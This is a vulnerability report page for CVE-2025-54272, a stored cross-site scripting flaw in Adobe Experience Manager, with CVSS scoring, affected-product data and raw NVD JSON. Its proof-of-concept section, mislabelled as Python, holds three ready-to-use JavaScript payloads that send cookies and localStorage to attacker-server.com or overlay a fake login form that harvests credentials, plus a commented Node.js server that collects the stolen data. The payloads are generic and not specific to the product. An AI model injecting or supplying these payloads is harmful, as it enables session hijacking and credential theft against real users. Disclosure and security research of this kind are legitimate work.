Security Vulnerability Report
中文
CVE-2025-54272 CVSS 5.4 MEDIUM

CVE-2025-54272

Published: 2025-10-14 22:15:38
Last Modified: 2025-11-19 15:33:57

Description

Adobe Experience Manager versions 11.6 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field. Exploitation of this issue requires user interaction in that a victim must open a malicious link. Scope is changed.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:experience_manager:6.5.22.0:fp11.6:*:*:-:*:*:* - VULNERABLE
Adobe Experience Manager <= 11.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-54272 PoC - Stored XSS in Adobe Experience Manager --> <!-- This PoC demonstrates the stored XSS vulnerability in AEM form fields --> <!-- Step 1: Attacker submits malicious payload via vulnerable form field --> <!-- The payload is stored in the server-side database --> <!-- Malicious payloads that can be injected into vulnerable form fields: --> <!-- Payload 1: Cookie stealing --> <script> var img = new Image(); img.src = 'https://attacker-server.com/steal?cookie=' + encodeURIComponent(document.cookie); </script> <!-- Payload 2: Session hijacking via fetch --> <script> fetch('https://attacker-server.com/collect', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, url: window.location.href, localStorage: JSON.stringify(localStorage) }), headers: {'Content-Type': 'application/json'} }); </script> <!-- Payload 3: DOM manipulation for phishing --> <script> document.body.innerHTML = '<form action="https://attacker-server.com/phish" method="POST"><h3>Session Expired</h3><input name="username" placeholder="Username"><input name="password" type="password" placeholder="Password"><button>Login</button></form>'; </script> <!-- Step 2: Victim visits the page containing the stored malicious content --> <!-- The browser executes the injected script automatically --> <!-- Step 3: Attacker receives stolen data on their server --> <!-- Example attacker-side collection endpoint (Node.js): --> /* const express = require('express'); const app = express(); app.get('/steal', (req, res) => { console.log('Stolen cookie:', req.query.cookie); // Store or exfiltrate the stolen session data res.status(200).end(); }); app.listen(8080); */ <!-- Note: Exploitation requires the attacker to have low-privilege access --> <!-- and the victim to visit the page containing the injected content -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54272", "sourceIdentifier": "[email protected]", "published": "2025-10-14T22:15:38.197", "lastModified": "2025-11-19T15:33:57.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Experience Manager versions 11.6 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field. Exploitation of this issue requires user interaction in that a victim must open a malicious link. Scope is changed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:6.5.22.0:fp11.6:*:*:-:*:*:*", "matchCriteriaId": "62001BCF-609E-4A57-B6F2-6B28B3E34055"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/aem-screens/apsb25-98.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}